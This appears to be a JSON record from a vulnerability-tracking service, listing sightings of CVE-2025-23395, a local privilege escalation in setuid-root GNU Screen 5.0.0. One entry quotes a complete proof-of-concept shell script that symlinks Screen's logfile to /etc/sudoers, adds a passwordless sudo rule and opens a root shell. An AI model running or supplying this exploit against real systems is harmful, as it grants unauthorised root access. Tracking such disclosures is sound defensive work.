{"vulnerability": "CVE-2025-23395", "sightings": [{"uuid": "e36cf08f-0eeb-4fdd-a8c5-ebfbd2a3f8da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/c74ad4e9-43df-4294-a337-22d34debbe64", "content": "", "creation_timestamp": "2025-05-14T13:48:57.849042Z"}, {"uuid": "43c808a8-4d59-4531-a090-06062edd077a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lq3ougkkssm2", "content": "", "creation_timestamp": "2025-05-26T17:23:42.157180Z"}, {"uuid": "64303a94-7552-4529-be61-4df4a07cd30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/87", "content": "CVE-2025-23395 Screen LPE exploit\n\n#!/bin/sh\n\nF=$(mktemp)\nL=${HOME}/screen.log\nT=/etc/sudoers\nrm -rf $F $L\nmkfifo $F\nO=$(stat --printf=\"%s\" $T)\necho \"[+] spawning GNU screen\"\nscreen -L -Logfile $L -dmS hax sh -c \"cat $F\"\nwhile [ ! -f $L ]; do sleep 0.1; done\necho \"[+] logfile appeared, doing hax\"\nrm $L\nln -s $T $L\nP=\"${USER} ALL=(ALL) NOPASSWD:ALL\"\n(echo $P; for i in `seq 8192`; do echo; done) > $F\nif [ $(stat --printf=\"%s\" $T) -gt $O ] ; then\n        echo \"[+] bl1ng bl1ng, we got it\"\n        sudo sh\nelse\n        echo \"[-] exploit failed :(\"\nfi\nrm -rf $F $L\n\nBlog: https://security.opensuse.org/2025/05/12/screen-security-issues.html#3a-local-root-exploit-via-logfile_reopen-cve-2025-23395", "creation_timestamp": "2025-05-15T09:24:26.000000Z"}, {"uuid": "c68277f2-0dea-40af-b031-4b2550bd64b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://bsky.app/profile/hacker-news-jp.bsky.social/post/3lp3anlggyb2d", "content": "", "creation_timestamp": "2025-05-13T19:43:55.212296Z"}, {"uuid": "04c392b2-5ec9-4eb3-977c-f1ffae2d2c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://www.openwall.com/lists/oss-security/2025/05/12/1", "content": "", "creation_timestamp": "2025-05-12T17:24:36.000000Z"}, {"uuid": "1cc23ad5-3620-4edb-9901-7e90d3ce473c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://security.opensuse.org/2025/05/12/screen-security-issues.html#3b-tty-hijacking-while-attaching-to-a-multi-user-session-cve-2025-46802", "content": "", "creation_timestamp": "2025-05-12T17:00:00.000000Z"}, {"uuid": "dbcab201-29a8-4785-b49c-4736f7d8ade5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17568", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23395\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Screen 5.0.0 when it runs with setuid-root privileges does not drop privileges while operating on a user supplied path. This allows unprivileged users to create files in arbitrary locations with `root` ownership, the invoking user's (real) group ownership and file mode 0644. All data written to the Screen PTY will be logged into this file, allowing to escalate to root privileges\n\ud83d\udccf Published: 2025-05-26T15:18:46.694Z\n\ud83d\udccf Modified: 2025-05-26T15:18:46.694Z\n\ud83d\udd17 References:\n1. https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-23395\n2. https://www.openwall.com/lists/oss-security/2025/05/12/1", "creation_timestamp": "2025-05-26T15:47:06.000000Z"}, {"uuid": "437fd513-efb3-4e38-883e-230059d39c3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lq3rsoryp32s", "content": "", "creation_timestamp": "2025-05-26T18:16:11.716225Z"}]}